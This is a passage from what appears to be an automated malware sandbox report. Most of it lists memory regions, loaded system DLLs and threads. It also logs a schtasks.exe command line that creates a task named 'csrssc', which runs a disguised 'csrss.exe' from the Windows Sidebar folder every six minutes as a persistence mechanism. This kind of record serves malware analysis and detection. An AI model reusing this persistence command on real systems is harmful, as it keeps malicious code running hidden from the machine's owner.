0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1519 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1520 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1521 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1522 start_va = 0xd0000 end_va = 0xd4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1523 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1524 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1525 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1526 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1527 start_va = 0x1f0000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1528 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1529 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1530 start_va = 0x510000 end_va = 0x697fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1531 start_va = 0x6a0000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1532 start_va = 0x830000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 1533 start_va = 0x8f0000 end_va = 0xbbefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1534 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1535 start_va = 0xd30000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 1536 start_va = 0xe50000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 1537 start_va = 0xee0000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 1538 start_va = 0xf80000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 1539 start_va = 0x10b0000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 1540 start_va = 0x1190000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 1541 start_va = 0x1210000 end_va = 0x130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 1542 start_va = 0x1360000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 1543 start_va = 0x1440000 end_va = 0x14bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 1544 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1545 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1546 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1547 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1548 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1549 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1550 start_va = 0x13f5d0000 end_va = 0x13f63bfff monitored = 0 entry_point = 0x13f60b450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1551 start_va = 0x7fef3570000 end_va = 0x7fef35bdfff monitored = 0 entry_point = 0x7fef3571198 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 1552 start_va = 0x7fef3890000 end_va = 0x7fef3915fff monitored = 1 entry_point = 0x7fef389ffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1553 start_va = 0x7fef3920000 end_va = 0x7fef395bfff monitored = 1 entry_point = 0x7fef3945aa8 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 1554 start_va = 0x7fef43d0000 end_va = 0x7fef43f4fff monitored = 1 entry_point = 0x7fef43e8d6c region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 1555 start_va = 0x7fef9d80000 end_va = 0x7fef9d91fff monitored = 0 entry_point = 0x7fef9d889d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1556 start_va = 0x7fef9ec0000 end_va = 0x7fef9ee0fff monitored = 0 entry_point = 0x7fef9ed03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1557 start_va = 0x7fef9f90000 end_va = 0x7fef9fa2fff monitored = 0 entry_point = 0x7fef9f91d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1558 start_va = 0x7fefa250000 end_va = 0x7fefa25dfff monitored = 0 entry_point = 0x7fefa255500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1559 start_va = 0x7fefa260000 end_va = 0x7fefa286fff monitored = 0 entry_point = 0x7fefa2611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1560 start_va = 0x7fefa290000 end_va = 0x7fefa362fff monitored = 0 entry_point = 0x7fefa308b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1561 start_va = 0x7fefa4f0000 end_va = 0x7fefa566fff monitored = 1 entry_point = 0x7fefa52e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1562 start_va = 0x7fefbbb0000 end_va = 0x7fefbbdcfff monitored = 0 entry_point = 0x7fefbbb1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1563 start_va = 0x7fefd120000 end_va = 0x7fefd166fff monitored = 0 entry_point = 0x7fefd121064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1564 start_va = 0x7fefd420000 end_va = 0x7fefd437fff monitored = 0 entry_point = 0x7fefd423b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1565 start_va = 0x7fefd590000 end_va = 0x7fefd5b1fff monitored = 0 entry_point = 0x7fefd595d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1566 start_va = 0x7fefd650000 end_va = 0x7fefd6bcfff monitored = 0 entry_point = 0x7fefd651010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1567 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1568 start_va = 0x7fefdb10000 end_va = 0x7fefdb23fff monitored = 0 entry_point = 0x7fefdb110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1569 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1570 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1571 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1572 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1573 start_va = 0x7fefe190000 end_va = 0x7fefe1dcfff monitored = 0 entry_point = 0x7fefe191070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1574 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1575 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1576 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1577 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1578 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1579 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1580 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1581 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1582 start_va = 0x7feffad0000 end_va = 0x7feffb21fff monitored = 0 entry_point = 0x7feffad10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1583 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1584 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1585 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1586 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1587 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1588 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1589 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1590 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1591 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1592 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1593 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1594 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1595 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 87 os_tid = 0xd20 Thread: id = 88 os_tid = 0x5fc Thread: id = 89 os_tid = 0x3d0 Thread: id = 90 os_tid = 0x734 Thread: id = 91 os_tid = 0x308 Thread: id = 92 os_tid = 0x3a0 Thread: id = 93 os_tid = 0x748 Thread: id = 94 os_tid = 0x558 Thread: id = 200 os_tid = 0x3b8 Process: id = "8" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x400ed000" os_pid = "0xec4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1596 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1597 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1598 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1599 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1600 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1601 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1602 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1603 start_va = 0xff690000 end_va = 0xff6d7fff monitored = 1 entry_point = 0xff6b966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1604 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1605 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1606 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1607 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1608 start_va = 0xe0000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1609 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1610 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1611 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1612 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1613 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1614 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1615 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1616 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1617 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1618 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1619 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1620 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1621 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1622 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1623 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1624 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1625 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1626 start_va = 0x380000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1627 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1628 start_va = 0x250000 end_va = 0x278fff monitored = 0 entry_point = 0x251010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1629 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1630 start_va = 0x250000 end_va = 0x278fff monitored = 0 entry_point = 0x251010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1631 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1632 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1633 start_va = 0x690000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1634 start_va = 0x820000 end_va = 0x1c1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1635 start_va = 0x250000 end_va = 0x261fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1636 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1637 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1638 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1639 start_va = 0x1c20000 end_va = 0x1eeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1640 start_va = 0x380000 end_va = 0x3fcfff monitored = 0 entry_point = 0x38cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1641 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1642 start_va = 0x380000 end_va = 0x3fcfff monitored = 0 entry_point = 0x38cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1643 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1644 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1645 start_va = 0x380000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1646 start_va = 0x410000 end_va = 0x4eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1647 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1648 start_va = 0x1f40000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 1649 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1650 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1651 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1652 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1653 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 